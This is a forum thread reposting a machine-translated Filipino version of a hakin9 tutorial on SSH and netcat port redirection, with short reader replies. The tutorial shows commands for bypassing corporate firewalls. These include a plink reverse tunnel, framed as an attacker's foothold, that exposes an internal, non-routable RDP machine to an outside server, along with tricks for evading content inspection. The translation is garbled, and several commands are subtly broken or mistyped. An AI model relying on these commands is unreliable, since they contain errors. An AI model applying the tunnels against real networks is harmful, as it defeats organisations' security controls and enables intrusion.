Ngayon buksan ang isang terminal window at gamitin ang command proxychains kasunod ang application na gusto mong proxy throw 127.0.0.1:7777

root @ dev_linux: ~ # proxychains sbmblient -L 192.168.0.5 -U administrator

Ito ay kahanga-hanga! Mula sa iyong corporate PC maaari mong kumonekta sa pamamagitan ng SSH tunneling sa isang SMB shared folder naroroon sa isang PC sa iyong home network (192.168.0.5) gamit administrator (iyon ay ang administrator gumagamit ng pc na may mga IP 192.168.0.5) at ang lahat ng trapiko ay magiging naka-encrypt.

Ang isang maliit na higit pa "Katunayan ng konsepto" gamit SSH

Ipagpalagay ikaw ay may 3 mga PC Hayaan

• RPI: SSH server ay pakikinig sa 443 TCP; pampublikong IP ay 192.1.1.111.

• PC_DEV: ang computer ng developer na inilarawan sa pasimula; likod corporate firewall; pribadong IP 10.0.0.10.

• PC_RDP: isang PC na may Remote Desktop Server pinagana; routable may PC_DEV, ngunit walang default gateway, kaya hindi routable sa internet. Ito ay isang simpleng proteksyon ipinatupad ng corporate sysadmin. PC_RDP may pribadong IP 10.0.0.11.

Mula PC_DEV nagagawa mong gawin ito din na walang pribilehiyo administrator:

c:> plink.exe -l rpiuser -R 5555: 10.0.0.11: 3389 192.1.1.111 -P 443

Ito ay magsisimula ng isang naka-encrypt na tunnel sa pagitan RPI (Attacker The) localhost: 5555 at 10.0.0.11:3389. Kahit na ang port 3389 ay hindi bukas sa enterprise firewall, ang RDP trapiko ay hindi NATted at ang PC_RDP (The Non-routable) ay hindi magkaroon ng isang gateway upang lumabas mula sa kanyang subnet, ang komunikasyon ay itinatag nang tama, conveyed sa pamamagitan PC_DEV (mga naka-kompromiso ) sa port 443. (Figure 7)


Figure 7. Ang SSH tunneling sa aksyon

Mula sa RPI ay sapat na para sa iyo upang kumonekta sa localhost sa port 55555 upang maabot ang remote desktop.

rpiuser @ raspberrypi ~ $ rdesktop 127.0.0.1:5555

Of course, ito ay gumagana lamang hanggang sa SSH koneksyon na humahawak ng tunnel ay nananatiling aktibo.

Kung mo ng mas mahusay na isaalang-alang ang halimbawang ito at ikaw ay isang system administrator ng isang malaking kumpanya ay dapat kang magkaroon ng isang gooseflesh. Kahit na may isang malakas na patakaran edge firewall, kung ang isa sa iyong LAN PC ay naka-kompromiso sa pamamagitan ng isang häçker, potensyal na lahat ng iba pang mga PC sa LAN na ay magiging isang mas simpleng target gamit tunneling.

Ngayon, gamit ang parehong paraan, sabihin makita kung paano namin maaaring gamitin SSH upang gawin ang parehong port redirection set na may rinetd.

mula PC_DEV

c:> plink.exe -l rpiuser -L 4444: irc.freenode.net: 6667 192.1.1.111 -P 443

Iyon ay: kumonekta sa aking SSH server sa port 443, gumawa ng isang tunnel encapsulating lahat ng mga lokal packets (-L) na maabot 127.0.0.1:4444 at i-redirect ito sa irc.freenode.net:6667~~V.

WOW, ngunit sabihin mapalawak ang ideya, na inilarawan bago, at gamitin SSH tunneling upang makakuha ng isang graphical SMB view. Simulan ang isang SSH tunnel mula dev_linux umiiral na ang mga lokal na 445 port (-L 445 :) sa 192.168.0.5:445 (445 TCP ay ang SMB karaniwang port)

root @ dev_linux: ~ # ssh -L 445: 192.168.0.5: 445rpiuser@192.1.1.111 -p 443

Ngayon simulan ang isang nautilus GUI window at kumonekta sa SMB: //127.0.0.1. Ta-da ikaw ay nagba-browse sa shared folder sa 192.168.0.5 gamit ang isang graphical GUI at bypassing corporate paghihigpit firewall. Mukhang maganda!

Of course encrypt, decrypt, proxy at GUI humantong sa pagbagal ng iyong trabaho, ngunit ito ay lamang ng isang patunay ng konsepto.

Ang ilang mga maliit na mga salita sa nilalaman inspeksyon
Kumusta naman ang isang firewall na may nilalaman inspeksyon?

Proxytunnel ay isa pang proxy program na encapsulates ang lahat ng trapiko sa http at https packets. Kaya maaari mong ipasok ang SSH koneksyon sa HTTP-sang-ayon packets at subukan upang lampasan nilalaman inspeksyon.

Kailangan ba ninyo ng isang sertipiko upang kumonekta sa pamamagitan ng isang client na hindi daan sa iyo upang gamitin ang native SSL bilang telnet? Stunnel bumubuo ng kanyang certificate. Pagkatapos client ay gumagamit ng certificate upang kumonekta at i-encrypt ang trapiko.

Kaya maaari mong gamitin telnet o NC upang kumonekta sa POP3S o FTPS.

Stunnel maaaring ring gamitin sa "server" mode; tingnan ang mga sumusunod na kaso: mayroon kang isang ftp server, pakikinig sa 21 TCP, na hindi magkaroon ng isang SSL pagpapatupad. Maaari mong i-configure ang FTP tagapakinig upang simulan sa isang iba't ibang port (eg 8021), pagkatapos ay kang bumuo ng isang certificate at i-configure stunnel upang tumanggap ng mga koneksyon mula sa port 21 at i-redirect ito, sa pamamagitan ng certificate nilikha, sa port 8021.

Ang parehong bagay ay maaari ding gawin para sa isang http server.

Tunneling UDP trapiko

An ngayon ng isang huling halimbawa na gusto ko very much dahil pagsamahin NC at SSH upang makagawa ng isang kahanga-hangang bagay: encapsulation ng UDP trapiko sa isang TCP Tunnel.

Mayroon kang 2 linux PCs: dev_linux at RPI. Kung naaalala ninyo dev_linux ay isang corporate PC at RPI sa isang PC na ginagamit mo bilang isang proxy sa iyong bahay.

Mayroon ka nang maaaring mag-redirect TCP packets sa pamamagitan ng SSH tunneling, ngunit ngayon ay nais mong gumawa ng ilang DNS query (UDP packet port 53) mula dev_linux, ngunit ang paggamit ng mga pampublikong IP address ng proxy.

Una mayroon kang upang simulan ang isang SSH tunnel

root @ dev_linux: ~ # ssh -L 4444: 127.0.0.1: 4444 root@192.1.1.111 -p 443

Ngayon bawat packet na ipinadala sa iyong mga lokal na (dev_linux) 4444 TCP port ay tunneled, sa pamamagitan ng TCP port 443, sa 4444 TCP port ng RPI.

Mayroon kang lumikha ng isa na ngayong pipelining pagitan ng TCP at UDP pareho sa entrance at sa pagtatapos ng lagusan. Gagamitin mo, siyempre, netcat upang makumpleto ang gawain.

Kaya sa RPI patakbuhin mo ang mga utos:

root @ raspberrypi: ~ # mkfifo / tmp / fifo

root @ raspberrypi: ~ # nc l -p 4444 </ tmp / fifo | nc -u 8.8.8.8 53> / tmp / fifo

... At ang mga ito sa dev_linux PC.

root @ dev_linux: ~ # mkfifo / tmp / fifo

root @ dev_linux: ~ # nc l -u -p 53 </ tmp / fifo | nc 127.0.0.1 4444> / tmp / fifo

Ngayon sa dev_linux maaari mong patakbuhin ang iyong mga DNS query:

nslookup hakin9.org 127.0.0.1

Kaya kung ano ang nangyari?

Una sa lahat ang FIFO file ay isang lugar kung saan mga proseso ay maaaring pakikipagpalitan data at gamitin mo ito upang pamahalaan ang mga tanong at sagot.

Tandaan din na kailangan mong maging ugat upang buksan port sa ilalim 1024, ngunit hayaan mo akong ipaliwanag ang mga hakbang na ito:

• Ang PC dev_linux nagpapatakbo ng isang query at nagpapadala packet sa 127.0.0.1 53 UDP

• netcat forwards ang packet mula sa UDP 53 sa 127.0.0.1 4444 TCP

• Ang TCP 4444 kahilingan ay tunneled at umabot sa server sa port 4444 TCP

• Sa server NC nakakakuha ng kahilingan sa TCP 4444 at pasulong ito sa isang DNS server (sa kasong ito ang mga DNS server Google - IP 8.8.8.8) gamit port 53 UDP

• Ang tugon, sinasamantala ng ang FIFO file, tumatagal ang paraan paurong

• Sa PC dev_linux maabot mo ang "happy end" at sa wakas ay maaaring basahin ang mga tugon ng mga query

konklusyon

Ang modularity ng lahat ng mga programang lumilikha ng isang napakaraming bilang ng mga sitwasyon at kagiliw-giliw na mga posibilidad. Alam kung paano upang i-redirect TCP trapiko sa pamamagitan ng iba't ibang mga network, firewalls, IPs, ang paggawa ng slalom pagitan ng mga bloke ng mga iba't ibang likas na katangian proxies nagdudulot ng malaking kasiyahan at tumutulong upang mas mahusay na maunawaan kung paano network naming ma-access ang araw-araw na trabaho.

Ang lahat ng mga bagay na sinabi ay lubhang kapana-panabik, ngunit palagi kang dapat tandaan bilang napupunta ang sinasabi: "Hanapin bago ka tumalon".

Source: https://hakin9.org/playing-with-the-ports-redirection/

Hit Like And Salamat po ...
 
Thanks sa Share TS informative thread,
suggestion lang next time please yung summary/synopsis nalang wag na copy paste sa web page. :)
For sure 80% ng readers hindi tinapos ang pag basa, at 15 % natapos nila hindi naman naintindihan maybe 2% lang yung naka kuha at 3 % dun di nila alam kung na gets ba talaga nila :)
 
Last edited:
pinuntahan ko nalang agad ung pinaka dulo kakahilo basahin..grabe ang haba pala..ni isa wala akong naintindihan:banghead::banghead:.
ts thanks for sharing
 
naa intindihan ko lang ay me port daw at redirection hahaha basahin ko ulit para maliwanagan, thank you po sa pagshare
 
Status
Not open for further replies.

Similar threads

Back
Top